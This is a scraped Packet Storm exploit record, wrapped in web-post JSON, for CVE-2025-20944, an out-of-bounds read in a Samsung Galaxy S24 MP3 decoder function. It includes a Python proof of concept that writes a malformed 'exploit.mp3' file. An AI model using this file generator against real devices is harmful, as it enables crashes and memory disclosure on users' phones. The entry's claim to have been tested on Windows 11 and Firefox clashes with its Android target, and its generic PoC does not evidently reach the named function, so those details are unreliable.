{“lastseen”:”2026-02-10T19:09:02″,”description”:”Proof of concept exploit for a Samsung MP3 Decoder smp123djointstereov1 out-of-bounds read enabling potential ASLR bypass…”,”published”:”2026-02-10T00:00:00″,”modified”:”2026-02-10T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 Samsung MP3 Decoder Out-Of-Bounds Read”,”source”:””,”references”:””,”id”:”PACKETSTORM:215212″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2025-20944″],”sourceData”:”=============================================================================================================================================\\n | # Title : Samsung MP3 Decoder (smp123d_joint_stereo_v1) Out-of-Bounds Read Enabling Potential ASLR Bypass |\\n | # Author : indoushka |\\n | # Tested on : windows 11 Fr(Pro) \/ browser : Mozilla firefox 145.0.2 (64 bits) |\\n | # Vendor : https:\/\/www.samsung.com\/us\/ |\\n =============================================================================================================================================\\n \\n [+] References : https:\/\/packetstorm.news\/files\/id\/199582\/\\n \\n [+] Summary : An out\u2011of\u2011bounds read vulnerability exists in the Samsung MP3 decoder, specifically in the function smp123d_joint_stereo_v1. \\n The decoder fails to validate table indices during joint\u2011stereo processing, allowing memory outside the intended buffer to be read. This flaw can cause crashes, \\n inconsistent audio output, and memory disclosure behavior dependent on the process layout. As a result, the bug may enable partial ASLR bypass when a crafted MP3 file is processed on affected Samsung devices. \\n The issue affects the Samsung Galaxy S24 (patch level December 1, 2024) and is tracked as CVE\u20112025\u201120944.\\n \\t\\t\\t \\n #00 pc 0000000000035a1c \/vendor\/lib64\/libsavsac.so \\n (smp123d_joint_stereo_v1+1436)\\n (BuildId: df93c19e458701b5125d755553f19288)\\n \\n \\n [+] There is no public version number for smp123d_joint_stereo_v1 because:\\n \\n It is not a standalone library.\\n \\n It is an internal function inside Samsung\u2019s proprietary MP3 decoder.\\n \\n Samsung does not publish version numbers for these internal codec modules.\\n \\n [+] Therefore:\\n \\n The vulnerable version is the MP3 decoder shipped with the Samsung Galaxy S24 series (One UI 6.x \/ Android 14\u201315).\\n Vulnerable Component:\\n \\n Samsung MP3 Decoder \u2014 internal function: smp123d_joint_stereo_v1\\n \\n Affected Version:\\n \\n The decoder included in One UI 6.x (2024 firmware) on the S24 family.\\n \\n [+] POC : python poc.py\\n \\n import struct\\n \\n def create_malformed_mp3():\\n \\n header = b’\\\\xFF\\\\xFB\\\\x90\\\\x00′ \\n \\n malicious_data = b”\\n \\n for i in range(1000):\\n malicious_data += struct.pack(‘\\u003eH’, 0xFFFF) \\n \\n return header + malicious_data\\n \\n with open(‘exploit.mp3’, ‘wb’) as f:\\n f.write(create_malformed_mp3())\\n \\n Greetings to :=====================================================================================\\n jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|\\n ===================================================================================================”,”sourceHref”:”https:\/\/packetstorm.news\/download\/215212″,”cvss”:{“score”:7.1,”severity”:”HIGH”,”vector”:”CVSS:3.1\/AV:L\/AC:L\/PR:L\/UI:N\/S:U\/C:H\/I:N\/A:H”,”version”:”3.1″},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/packetstorm.news\/files\/id\/215212\/”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2026-02-10T19:09:02″,”description”:”Proof of concept exploit for a Samsung MP3 Decoder smp123djointstereov1 out-of-bounds read enabling potential ASLR bypass…”,”published”:”2026-02-10T00:00:00″,”modified”:”2026-02-10T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 Samsung MP3 Decoder Out-Of-Bounds Read”,”source”:””,”references”:””,”id”:”PACKETSTORM:215212″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2025-20944″],”sourceData”:”=============================================================================================================================================\\n | # Title :…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,50,12,15,13,53,7,11,5],"class_list":["post-40113","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-cvss-71","tag-exploit","tag-high","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n